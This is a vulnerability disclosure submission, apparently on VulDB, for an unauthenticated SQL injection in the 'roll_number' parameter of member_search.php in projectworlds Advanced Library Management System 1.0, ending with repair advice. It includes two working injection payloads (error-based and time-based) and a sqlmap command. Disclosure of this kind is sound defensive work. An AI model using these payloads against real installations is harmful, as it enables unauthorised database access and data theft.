जमा करें #700977: projectworlds Advanced Library Management System 1.0 member_search.php SQL injectionजानकारी

शीर्षकprojectworlds Advanced Library Management System 1.0 member_search.php SQL injection
विवरण# Advanced Library Management System V1.0 member_search.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Advanced Library Management System ## Vendor Homepage - [Advanced Library Management System Project in PHP with Barcode | Projectworlds](https://projectworlds.com/advanced-library-management-system-project-in-php-with-barcode/) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - yudeshui ## VERSION(S) - V1.0 ## Software Link - [Advanced Library Management System Project in PHP with Barcode | Projectworlds](https://projectworlds.com/advanced-library-management-system-project-in-php-with-barcode/) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the 'member_search.php' file of the 'Advanced Library Management System' project. The reason for this issue is that attackers inject malicious code from the parameter "roll_number" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Advanced Library Management System", discovered a critical SQL injection vulnerability in the "member_search.php" file. This vulnerability stems from insufficient user input validation of the 'roll_number' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: - time-based blind - error-based ## Vulnerability location: - 'roll_number' parameter ## Payload: ``` Parameter: roll_number (POST) Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: roll_number=1001' AND GTID_SUBSET(CONCAT(0x717a716a71,(SELECT (ELT(1192=1192,1))),0x717a706271),1192)-- rgQU Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: roll_number=1001' AND (SELECT 2697 FROM (SELECT(SLEEP(5)))IGNx)-- WaAN ``` <img width="1202" height="395" alt="Image" src="https://github.com/user-attachments/assets/438699a0-4e8c-4df2-a10b-435b00297dfe" /> ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ``` sqlmap -u "http://localhost:802/member_search.php" \ --data="roll_number=1001" \ --level=3 --risk=2 \ --batch ``` # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
स्रोत⚠️ https://github.com/rassec2/dbcve/issues/11
उपयोगकर्ता
 yudeshui (UID 91129)
सबमिशन25/11/2025 06:31 AM (5 महीनों पहले)
संयम07/12/2025 09:12 AM (12 days later)
स्थितिस्वीकृत
VulDB प्रविष्टि334655 [projectworlds Advanced Library Management System 1.0 /member_search.php roll_number SQL इंजेक्शन]
अंक20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!